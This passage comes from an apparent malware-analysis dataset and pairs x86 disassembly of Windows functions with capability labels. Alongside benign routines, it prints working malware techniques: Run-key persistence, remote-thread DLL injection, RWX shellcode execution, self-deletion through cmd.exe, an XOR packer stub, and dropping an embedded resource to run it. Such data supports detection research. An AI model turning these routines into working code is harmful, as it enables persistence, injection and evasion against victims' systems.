joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401a08
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x413b20]
push ebx
push esi
push edi
mov ecx, 0x413b20
call dword [eax + 0xc]
add eax, 0x10
mov edi, 0x104
push edi
lea esi, [ebp - 4]
mov dword [ebp - 4], eax
call fcn.00402b4a
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov ebx, eax
or eax, 0xffffffff
call fcn.00402b7f
test ebx, ebx
je 0x401a74
cmp ebx, edi
jae 0x401a74
mov esi, dword [ebp + 8]
push esi
lea eax, [ebp - 4]
call fcn.00401950
test al, al
je 0x401a74
lea edi, [esi + 0x20]
lea eax, [ebp - 4]
call fcn.0040266a
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.00401153
mov al, 1
jmp 0x401a81
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.00401153
xor al, al
pop edi
pop esi
pop ebx
leave
ret 4

Function at 0x401a88
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call dword [sym.imp.SHELL32.dll_IsUserAnAdmin]
test eax, eax
je 0x401ae0
mov eax, dword [0x413b20]
mov ecx, 0x413b20
call dword [eax + 0xc]
add eax, 0x10
push 0x104
lea esi, [ebp - 4]
mov dword [ebp - 4], eax
call fcn.00402b4a
push eax
push 0
push 0
push 0x26
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov edi, eax
or eax, 0xffffffff
call fcn.00402b7f
test edi, edi
jns 0x401af1
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.00401153
push dword [ebp + 8]
call fcn.00401a08
test al, al
jne 0x401b17
or eax, 0xffffffff
jmp 0x401b19
mov esi, dword [ebp + 8]
push esi
lea eax, [ebp - 4]
call fcn.00401950
test al, al
je 0x401ad5
lea edi, [esi + 0x20]
lea eax, [ebp - 4]
call fcn.0040266a
mov eax, dword [ebp - 4]
add eax, 0xfffffff0
call fcn.00401153
xor eax, eax
pop edi
pop esi
leave
ret 4
Function at 0x401b1f
Capabilities:
Extract resource via kernel32 functions
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x224
mov eax, dword [0x413310]
xor eax, ebp
mov dword [ebp - 4], eax
or dword [ebp - 0x214], 0xffffffff
push ebx
push esi
push edi
xor eax, eax
push 0x206
mov word [ebp - 0x210], ax
xor edi, edi
lea eax, [ebp - 0x20e]
push edi
push eax
mov ebx, ecx
call fcn.00408670
mov eax, dword [ebx + 0x20]
add esp, 0xc
lea ecx, [ebp - 0x210]
push ecx
push edi
push 0x4113a0
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
test eax, eax
je 0x401c5c
lea eax, [ebp - 0x210]
push eax
lea esi, [ebp - 0x21c]
call fcn.00402607
lea esi, [ebx + 0x10]
lea ebx, [ebp - 0x21c]
call fcn.00402767
mov eax, dword [ebp - 0x21c]
add eax, 0xfffffff0
call fcn.00401153
push 0x4112f4
push 0x66
push edi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
cmp esi, edi
je 0x401c5c
push esi
push edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
je 0x401c5c
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ebx, eax
cmp ebx, edi
je 0x401c5c
push edi
push edi
push 4
push edi
push edi
push 0xc0000000
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x214], eax
cmp eax, 0xffffffff
je 0x401c5c
push dword [ebp - 0x214]
xor eax, eax
lea edi, [ebp - 0x220]
push esi
stosd dword es:[edi], eax
xor esi, esi
push esi
stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push eax
mov ecx, ebx
call fcn.00401f68
pop ecx
pop ecx
test eax, eax
jne 0x401c49
push esi
push esi
push dword [ebp - 0x21c]
push dword [ebp - 0x220]
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
jne 0x401c5c
push dword [ebp - 0x214]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
or dword [ebp - 0x214], 0xffffffff
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x214]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004074b6
leave
ret
Function at 0x401c71
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov ebx, eax
mov eax, dword [0x413b20]
push edi
mov ecx, 0x413b20
call dword [eax + 0xc]
add eax, 0x10
mov edi, 0x104
push edi
lea esi, [ebp - 8]
mov dword [ebp - 8], eax
call fcn.00402b4a
push edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov dword [ebp - 4], eax
or eax, 0xffffffff
call fcn.00402b7f
cmp dword [ebp - 4], 0
je 0x401d3d
cmp dword [ebp - 4], edi
jae 0x401d3d
push dword [ebx + 0x1c]
lea esi, [ebp - 4]
call fcn.00402607
mov eax, dword [ebp - 4]
mov esi, dword [eax - 0xc]
mov edi, 0x4112ac
push edi
call fcn.004073f9
lea eax, [eax + esi + 1]
pop ecx
push eax
lea esi, [ebp - 4]
call fcn.00402b4a
push edi
push eax
call dword [sym.imp.SHLWAPI.dll_PathAppendW]
or eax, 0xffffffff
call fcn.00402b7f
mov edi, dword [ebp - 4]
mov esi, dword [ebp - 8]
push 0
push edi
push esi
call dword [sym.imp.KERNEL32.dll_CopyFileW]
test eax, eax
jne 0x401d1b
lea eax, [edi - 0x10]
call fcn.00401153
lea eax, [esi - 0x10]
jmp 0x401d43
lea esi, [ebx + 0x10]
lea ebx, [ebp - 4]
call fcn.00402767
lea eax, [edi - 0x10]
call fcn.00401153
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.00401153
mov al, 1
jmp 0x401d4a
mov eax, dword [ebp - 8]
add eax, 0xfffffff0
call fcn.00401153
xor al, al
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401f68
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x9c
mov eax, dword [0x413310]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 8], 0xd
mov eax, dword [ebp + 0xc]
push ebx
push esi
push edi
mov edi, ecx
mov dword [ebp - 0x9c], eax
jb 0x40211e
xor ebx, ebx
lea eax, [ebp - 0x8c]
mov edx, edi
lea ecx, [ebp - 0x78]
mov dword [ebp - 0x8c], 0x401f4c
mov dword [ebp - 0x88], 0x401f5a
mov dword [ebp - 0x64], ebx
mov dword [ebp - 0x68], ebx
call fcn.00404e7f
sub dword [ebp + 8], 0xd
xor eax, eax
inc eax
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x28], eax
mov eax, dword [edi + 5]
push eax
mov dword [ebp - 0x54], ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x48], ebx
mov dword [ebp - 0x7c], eax
call fcn.0040998f
mov esi, eax
pop ecx
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp + 8]
push eax
add edi, 0xd
push edi
lea eax, [ebp - 0x7c]
push eax
push esi
lea edi, [ebp - 0x78]
mov dword [ebp - 0x84], esi
mov dword [ebp - 0x80], ebx
call fcn.00404d35
add esp, 0x14
push dword [ebp - 0x68]
mov edi, eax
lea eax, [ebp - 0x8c]
push eax
call dword [ebp - 0x88]
push dword [ebp - 0x64]
lea eax, [ebp - 0x8c]
push eax
mov dword [ebp - 0x68], ebx
call dword [ebp - 0x88]
add esp, 0x10
mov dword [ebp - 0x64], ebx
cmp edi, ebx
je 0x40204f
or edi, 0xffffffff
push esi
call fcn.0040afb2
pop ecx
mov eax, edi
jmp 0x402121
mov ecx, dword [esi]
add esi, 4
mov edi, dword [esi]
push 4
pop eax
add esi, eax
mov ebx, dword [esi]
add esi, eax
mov edx, dword [esi]
add esi, eax
mov dword [ebp - 0x90], edx
mov edx, dword [esi]
push ecx
mov dword [ebp - 0x80], ecx
mov dword [ebp - 0x94], edx
add esi, eax
call fcn.0040998f
pop ecx
push dword [ebp - 0x80]
mov dword [ebp - 0x7c], eax
push eax
push dword [ebp - 0x94]
mov eax, dword [ebp - 0x90]
push eax
lea edx, [eax + ebx]
lea eax, [ebx + edi]
add eax, esi
push eax
push ebx
lea eax, [edi + esi]
push eax
add edx, edi
push edi
add edx, esi
push esi
call fcn.00404eec
add esp, 0x24
test eax, eax
je 0x4020c8
push dword [ebp - 0x7c]
call fcn.0040afb2
mov esi, dword [ebp - 0x84]
xor edi, edi
pop ecx
inc edi
jmp 0x402041
mov esi, dword [ebp - 0x80]
push 0
lea eax, [ebp - 0x98]
push eax
push esi
push dword [ebp - 0x7c]
push dword [ebp - 0x9c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x402109
cmp dword [ebp - 0x98], esi
jne 0x402109
push dword [ebp - 0x7c]
call fcn.0040afb2
pop ecx
push dword [ebp - 0x84]
call fcn.0040afb2
pop ecx
xor eax, eax
jmp 0x402121
push dword [ebp - 0x7c]
call fcn.0040afb2
pop ecx
push dword [ebp - 0x84]
call fcn.0040afb2
pop ecx
or eax, 0xffffffff
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004074b6
leave
ret
Function at 0x402130
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x413310]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
call fcn.00408670
add esp, 0xc
lea eax, [ebp - 0x120]
push eax
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
jne 0x402178
xor al, al
jmp 0x40219b
cmp dword [ebp - 0x11c], 5
jb 0x402174
jbe 0x402187
mov al, 1
jmp 0x40219b
xor eax, eax
inc eax
cmp dword [ebp - 0x118], eax
jae 0x40219b
cmp word [ebp - 0xc], 4
sbb al, al
inc al
xor ecx, ecx
test al, al
setne cl
lea eax, [ecx - 1]
mov ecx, dword [ebp - 4]
xor ecx, ebp
and eax, 0x80040703
call fcn.004074b6
leave
ret

Function at 0x40314b
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
mov eax, dword [eax]
push ebx
push esi
push edi
sub eax, 0x10
call fcn.00402d14
lea esi, [eax + 0x10]
push 0x44
xor ebx, ebx
lea eax, [ebp - 0x5c]
push ebx
push eax
mov dword [ebp - 8], esi
call fcn.00408670
xor eax, eax
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
lea eax, [ebp - 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
or dword [ebp - 0x30], 0x81
xor eax, eax
inc eax
mov word [ebp - 0x2c], ax
cmp dword [esi - 4], eax
jle 0x4031aa
push dword [esi - 0xc]
lea eax, [ebp - 8]
push eax
call fcn.00402e00
mov esi, dword [ebp - 8]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x5c]
push eax
push ebx
push ebx
push 0x400
push ebx
push ebx
push ebx
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
jne 0x4031e2
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
lea eax, [esi - 0x10]
call fcn.00401153
pop edi
pop esi
mov al, bl
pop ebx
leave
ret
push 0xffffffffffffffff
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov byte [ebp - 1], 1
cmp dword [ebp + 8], ebx
je 0x403208
push dword [ebp + 8]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
setne byte [ebp - 1]
push dword [ebp - 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call edi
push dword [ebp - 0x14]
call edi
mov bl, byte [ebp - 1]
jmp 0x4031d3
Function at 0x40324c
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push esi
push edi
mov esi, eax
call fcn.004032e5
xor edi, edi
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [esi + 4], eax
cmp eax, 0xffffffff
je 0x4032dd
push edi
push edi
push edi
push 2
push edi
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [esi + 8], eax
cmp eax, edi
je 0x4032d8
push edi
push edi
push edi
push 4
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov edx, eax
mov dword [esi + 0xc], edx
cmp edx, edi
je 0x4032cf
push 6
pop ecx
mov dword [ebp - 0x1c], edi
xor eax, eax
lea edi, [ebp - 0x18]
rep stosd dword es:[edi], eax
push 0x1c
lea eax, [ebp - 0x1c]
push eax
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x4032cf
mov eax, dword [ebp - 0x10]
mov dword [esi + 0x10], eax
mov al, 1
jmp 0x4032df
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.004032e5
xor al, al
pop edi
pop esi
leave
ret 4

Function at 0x40331d
Capabilities:
Parse pe header

Disassembly:
test edx, edx
jne 0x403324
xor al, al
ret
mov eax, 0x5a4d
cmp word [edx], ax
jne 0x403321
mov eax, dword [edx + 0x3c]
add eax, edx
cmp dword [eax], 0x4550
jne 0x403321
lea ecx, [eax + 0x98]
mov eax, dword [ecx]
neg eax
sbb eax, eax
and eax, ecx
je 0x403321
mov ecx, dword [eax]
add ecx, edx
lea edx, [ecx + 8]
test edx, edx
je 0x403321
cmp byte [edx], 0x30
push esi
lea esi, [edx + 1]
jne 0x40337b
cmp byte [esi], 0x82
jne 0x40337b
movzx edx, byte [esi + 1]
movzx esi, byte [esi + 2]
shl edx, 8
lea edx, [edx + esi + 0x13]
and edx, 0xffffff8
jmp 0x40337d
xor edx, edx
pop esi
test edx, edx
je 0x403321
mov eax, dword [eax + 4]
mov dword [edi + 0x14], eax
mov dword [edi + 0x18], ecx
mov al, 1
ret

Function at 0x403464
Capabilities:
Delete file

Disassembly:
push esi
xor esi, esi
cmp dword [edi + 0x10], esi
je 0x403487
test esi, esi
js 0x40349b
cmp esi, dword [edi + 0x10]
jge 0x40349b
mov eax, dword [edi + 0xc]
push dword [eax + esi*4]
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
inc esi
cmp esi, dword [edi + 0x10]
jne 0x40346c
lea esi, [edi + 0xc]
call fcn.004027dd
mov eax, dword [edi + 4]
sub eax, 0x10
pop esi
jmp fcn.00401153
push 0
push 0
push 1
push 0xc000008c
call dword [sym.imp.KERNEL32.dll_RaiseException]
Function at 0x4034ad
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4022c
call fcn.004095d0
mov eax, dword [0x413310]
xor eax, ebp
mov dword [ebp - 8], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov dword [ebp - 0x40220], eax
xor ebx, ebx
push ebx
lea eax, [ebp - 0x40224]
push eax
mov esi, 0x200
push esi
lea eax, [ebp - 0x4020c]
push eax
push dword [edi]
mov byte [ebp - 0x4020d], 1
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x4035b4
cmp dword [ebp - 0x40224], esi
jne 0x4035b4
push 4
lea eax, [ebp - 0x4010b]
push 0x411318
push eax
call fcn.0040999a
add esp, 0xc
test eax, eax
jne 0x403533
mov eax, dword [ebp - 0x40220]
mov byte [eax], 1
mov al, 1
jmp 0x4035b6
push 5
lea eax, [ebp - 0x4010b]
push 0x411310
push eax
call fcn.0040999a
add esp, 0xc
test eax, eax
jne 0x4035b4
mov eax, dword [edi + 4]
sub eax, 0x10
call fcn.00402d14
add eax, 0x10
mov dword [ebp - 0x40214], eax
push 0x4113c8
lea eax, [ebp - 0x40214]
push eax
call fcn.004036ed
lea eax, [ebp - 0x4020c]
push eax
lea eax, [ebp - 0x40214]
push eax
call fcn.004036ed
mov esi, dword [ebp - 0x40214]
push ebx
push 0x100
push 2
push ebx
push ebx
push 0x40000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x40220], eax
cmp eax, 0xffffffff
jne 0x4035c6
lea eax, [esi - 0x10]
call fcn.00401153
xor al, al
mov ecx, dword [ebp - 8]
pop esi
xor ecx, ebp
pop ebx
call fcn.004074b6
leave
ret 4
push 8
lea eax, [ebp - 0x40190]
push ebx
push eax
call fcn.0040b389
add esp, 0xc
push 1
push ebx
push ebx
push dword [edi]
mov esi, eax
mov dword [ebp - 0x40218], esi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
add eax, dword [ebp - 0x40218]
neg esi
and esi, 0x1ff
add esi, eax
mov dword [ebp - 0x40228], esi
cmp dword [ebp - 0x40218], ebx
jbe 0x403681
mov ecx, dword [ebp - 0x40218]
mov eax, 0x40000
mov dword [ebp - 0x4021c], eax
cmp ecx, eax
jae 0x403625
mov dword [ebp - 0x4021c], ecx
push ebx
lea eax, [ebp - 0x40224]
push eax
push dword [ebp - 0x4021c]
lea eax, [ebp - 0x4000c]
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x40367b
push ebx
lea eax, [ebp - 0x40224]
push eax
push dword [ebp - 0x4021c]
lea eax, [ebp - 0x4000c]
push eax
push dword [ebp - 0x40220]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40367b
mov eax, dword [ebp - 0x4021c]
sub dword [ebp - 0x40218], eax
jne 0x40360a
jmp 0x403681
mov byte [ebp - 0x4020d], bl
push dword [ebp - 0x40220]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp byte [ebp - 0x4020d], bl
je 0x4036c4
cmp byte [edi + 8], bl
je 0x4036b0
lea esi, [edi + 0xc]
lea ebx, [ebp - 0x40214]
call fcn.00402767
mov esi, dword [ebp - 0x40228]
xor ebx, ebx
mov eax, dword [edi + 0x18]
cmp eax, ebx
je 0x4036c4
push dword [ebp - 0x40214]
push dword [edi + 0x1c]
call eax
pop ecx
pop ecx
cmp esi, 0xffffffff
je 0x4036d4
push ebx
push ebx
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov eax, dword [ebp - 0x40214]
add eax, 0xfffffff0
call fcn.00401153
mov al, byte [ebp - 0x4020d]
jmp 0x4035b6
Function at 0x40714b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x413310]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040607e
and dword [ebp - 0x14], 0
cmp dword [0x41475c], 0
mov dword [ebp - 0x18], eax
jne 0x4071fe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x4072a6
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x40fd7c
push ebx
call edi
test eax, eax
je 0x4072a6
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x41475c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x414760], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x414764], eax
call edi
push eax
call esi
mov dword [0x41476c], eax
test eax, eax
je 0x4071fe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x414768], eax
mov eax, dword [0x414768]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x407257
cmp dword [0x41476c], ecx
je 0x407257
push eax
call esi
push dword [0x41476c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x407257
test ebx, ebx
je 0x407257
call edi
test eax, eax
je 0x40724e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40724e
test byte [ebp - 8], 1
jne 0x407257
or dword [ebp + 0x10], 0x200000
jmp 0x40728a
mov eax, dword [0x414760]
cmp eax, dword [ebp - 0x18]
je 0x40728a
push eax
call esi
test eax, eax
je 0x40728a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40728a
mov eax, dword [0x414764]
cmp eax, dword [ebp - 0x18]
je 0x40728a
push eax
call esi
test eax, eax
je 0x40728a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x41475c]
call esi
test eax, eax
je 0x4072a6
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x4072a8
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004074b6
leave
ret

Function at 0x4074b6
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x413310]
jne 0x4074c0
repz ret
jmp fcn.00408726

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x407ef8
nop
nop
mov ecx, 0x571d0f05
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
jne 0x42e024
nop
nop
nop
nop
nop
mov eax, section..data
mov ebx, 0x42cd70
nop
nop
mov ecx, 0x2ca06955
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x40149a
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
jne 0x4014bf
mov eax, 1
jmp 0x4014c4
mov eax, 0
leave
ret

Function at 0x4014c6
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], str.C:UsersUserDesktop_test.exe
lea eax, [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 2
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000002
call sym._RegOpenKeyExA_20
sub esp, 0x14
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._strlen
mov edx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x14], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.test
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret
Function at 0x4015c7
Capabilities:
Create thread
Inject dll
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
add eax, 1
mov dword [ebp - 0x18], eax
mov dword [esp], str.Kernel32
call sym._GetModuleHandleA_4
sub esp, 4
mov dword [ebp - 0x1c], eax
mov dword [esp + 4], str.LoadLibraryA
mov eax, dword [ebp - 0x1c]
mov dword [esp], eax
call sym._GetProcAddress_8
sub esp, 8
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._atoi
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x43a
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov eax, dword [ebp - 0x18]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x14], eax
mov dword [esp + 0x10], 0
mov eax, dword [ebp - 0x18]
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov eax, dword [ebp - 0x20]
lea edx, [ebp - 0x28]
mov dword [esp + 0x18], edx
mov dword [esp + 0x14], 0
mov edx, dword [ebp - 0x14]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], eax
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x40170f
call sym._GetLastError_0
mov dword [esp + 4], eax
mov dword [esp], str.Error:__d_n
call sym._printf
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x40172e
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov dword [esp + 8], 1
lea eax, [ebp - 0x11]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
test eax, eax
jne 0x401777
mov eax, dword [ebp - 0xc]
jmp 0x40178f
mov eax, dword [ebp - 0xc]
lea edx, [eax + 1]
mov dword [ebp - 0xc], edx
mov edx, eax
mov eax, dword [ebp + 0xc]
add edx, eax
movzx eax, byte [ebp - 0x11]
mov byte [edx], al
jmp 0x401742
leave
ret

Function at 0x4019ef
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x401a38
Capabilities:
Create process on windows
Create process suspended
Self delete

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x294
lea edx, [ebp - 0x254]
mov eax, 0
mov ecx, 0x11
mov edi, edx
rep stosd dword es:[edi], eax
mov dword [ebp - 0x254], 0x44
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x10c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x10c]
mov dword [esp + 8], eax
mov dword [esp + 4], str.cmd.exe__c_del__s
lea eax, [ebp - 0x210]
mov dword [esp], eax
call sym._wsprintfA
lea eax, [ebp - 0x264]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x254]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
lea eax, [ebp - 0x210]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._CreateProcessA_40
sub esp, 0x28
mov eax, dword [ebp - 0x260]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp - 0x264]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov dword [esp], 0
call sym._exit